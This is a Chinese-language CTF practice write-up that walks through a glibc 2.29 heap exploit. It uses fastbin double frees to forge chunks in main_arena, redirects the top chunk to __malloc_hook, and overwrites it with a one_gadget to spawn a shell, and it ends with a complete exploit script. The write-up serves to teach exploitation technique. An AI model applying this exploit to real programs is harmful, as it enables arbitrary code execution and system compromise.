针对fastbin_dup的练习
漏洞本身和之前一样也是fastbin_dup
直接尝试一下相同的方法
找到__malloc_hook
附近可以伪造的fake chunk
这个和之前完全一样,但是这个程序在malloc的时候的限制更大,0x70大小的chunk被限制了
可以申请0x60的chunk也可以申请0x80的chunk,就是不能申请0x70的
实际上这个程序的难点就是要设法使用和之前不同的方式绕过chunk对size的检查
自己尝试
思路是修改main_arena
处0x70对应的fastbin地址
在arena附近这里查找到的这两个fake chunk也都是size为0x7f
还是解决不了问题
所以尝试首先通过两次Double Free把0x50、0x60这两个bins的地址修改成伪造的chunk头
例如首先用这样的执行流
a=malloc(0x48,"a")
b=malloc(0x48,"b")
free(a)
free(b)
free(a)
malloc(0x48,p64(0x61))
malloc(0x48,"a")
malloc(0x48,"b")
这样的一个流程结束之后就相当于在main_arena
中0x50的chunk链表处写入了0x00000061
用GDB调试再用find_fake_fast
现在已经让main_arena
中可以满足size字段的检查了,接下来再通过一次fastbin_dup来申请这个位置的chunk
malloc和free的流程如下
c=malloc(0x58,"C")
d=malloc(0x58,"D")
free(c)
free(d)
free(c)
malloc(0x58,p64(libc.sym.main_arena+40))
malloc(0x58,"c")
malloc(0x58,"d")
这里的40是通过看0x50的chunk所在的位置p &main_arena->fastbinsY[3]
运行完毕之后查看fastbins
发现这个地址好像没有对上,覆盖的那个地方应该是7b80
,但是写的是7b88
所以第二次填充的那个再改一下,改成libc.sym.main_arena+32
这样从0x7b80
开始就是一个符合chunk结构的fake chunk了
目标就是修改掉红框中的这个
Arena的结构中有一个地方是指示了top chunk的
可以尝试通过在main_arena
中修改掉top chunk的值,修改为__malloc_hook
前面0x10字节
这样之后申请写入就是直接修改__malloc_hook
了
我们伪造的chunk的user data是从0x60开始的
所以首先要填充所有的fastbin,之后的一个字就是top chunk
所以再一次malloc修改top chunk,一次malloc修改__malloc_hook
malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-0x10))
malloc(0x28,p64(libc.sym.system))
结果发现报错了,说是corrupted top size
查看一下原因
发现是在这里比较__glibc_unlikely(size>av->system_mem)
之后才会进入到这里
这是因为Glibc 2.29中对top chunk进行了一些检查;
之前的House of Force使用的是更低版本的glibc
比较中的这个av
是一个变量,来表示arena
管理着这个堆,在这种情况下,system_mem
是从kernel检查出的当前arena内存的大小;
实际这里的值是0x21000,是我们初始化堆时的大小
如果malloc发现top chunk申请的内存比这个还要大,就会认为有地方出错导致中止分配内存
我们这里想要用一个GLIBC中的地址来伪造top chunk的size,比system_mem
的内容要大得多
这里的绕过方式和之前伪造出0x7f那样的size比较类似;
也是利用这里不需要按照16字节对齐绕过的
我们首先把后面写的一堆内容注释掉,看一下初始化时的top chunk的状态
这里的索引大概是main_arena
中的top
是一个mchunkptr
,这个值是0x555555757160
,这个地方是一个top chunk的结构体,他就是一个普通的堆chunk的结构
所以第二个字,0x20ea1
这里就是它的大小
再执行一遍我们写入top为lib.sym.__malloc_hook-0x10
这样的脚本
可以看到红圈里面相当于是伪造的top chunk的size
这个size和之前0x21000相比大了太多了,所以就会报错;
那么我们在__malloc_hook
再尝试一下find_fake_fast
可以看到我们写入值之后,这里7f
可以当作chunk size的标志位来用了
这两个地址之间距离0x50-0x2d
结果差了十进制的35;
所以我们把之前写的malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-0x10))
改成malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-35))
再试一下
这时这个size字段只有7f
,就可以通过验证了;
那么下一步就是覆盖__malloc_hook
为我们想要执行的内容;
还是一样的使用one_gadget
搜索出来这三个结果
在__malloc_hook
下断点,之后触发malloc,看这时的寄存器状态
结果这三个gadget的约束条件都不满足;
但是回来看到
执行时rsp+50的位置是可控的
现在我们最后一小部分的代码是
malloc(0x58,p64(libc.sym.main_arena+32))
malloc(0x58,"G"*8)
malloc(0x58,"H"*8)
malloc(0x58,b"Y"*48+p64(libc.sym.__malloc_hook-36))
malloc(0x28,b"Z"*20+p64(libc.address+one_gadget))
直接执行的话会提示
就是说把其中HHHHHHHH:GGGGGGGG
这个当作文件来传入sh了
这个位置正好是调用sh
的arg[1]
,解决办法的话,我们可以将其中的GGGGGGGG
改为-s\0
这样就相当于是调用了sh -s
,
看一下bash的手册
If the -s option is present, or if no arguments remain after option processing, then commands are read from the standard input. This option allows the positional parameters to be set when invoking an interactive shell or when reading input through a pipe.
所以加上-s
之后调用时就不会从文件定位而是从stdin输入了;
这样就可以拿到一个shell权限
最终执行的流程
one_gadget = 0xe1fa1
# one_gadget = 0xe1fad
# one_gadget = 0xc4dbf
# Request two 0x50-sized chunks.
chunk_A = malloc(0x48, "A"*8)
chunk_B = malloc(0x48, "B"*8)
# Free the first chunk, then the second.
free(chunk_A)
free(chunk_B)
free(chunk_A)
malloc(0x48,p64(0x61))
malloc(0x48,"C"*8)
malloc(0x48,"D"*8)
chunk_C = malloc(0x58,"E"*8)
chunk_D = malloc(0x58,"F"*8)
free(chunk_C)
free(chunk_D)
free(chunk_C)
malloc(0x58,p64(libc.sym.main_arena+32))
malloc(0x58,"-s\0")
# malloc(0x58,"G"*8)
malloc(0x58,"H"*8)
malloc(0x58,b"Y"*48+p64(libc.sym.__malloc_hook-36))
malloc(0x28,b"Z"*20+p64(libc.address+one_gadget))
malloc(1,'')
执行脚本效果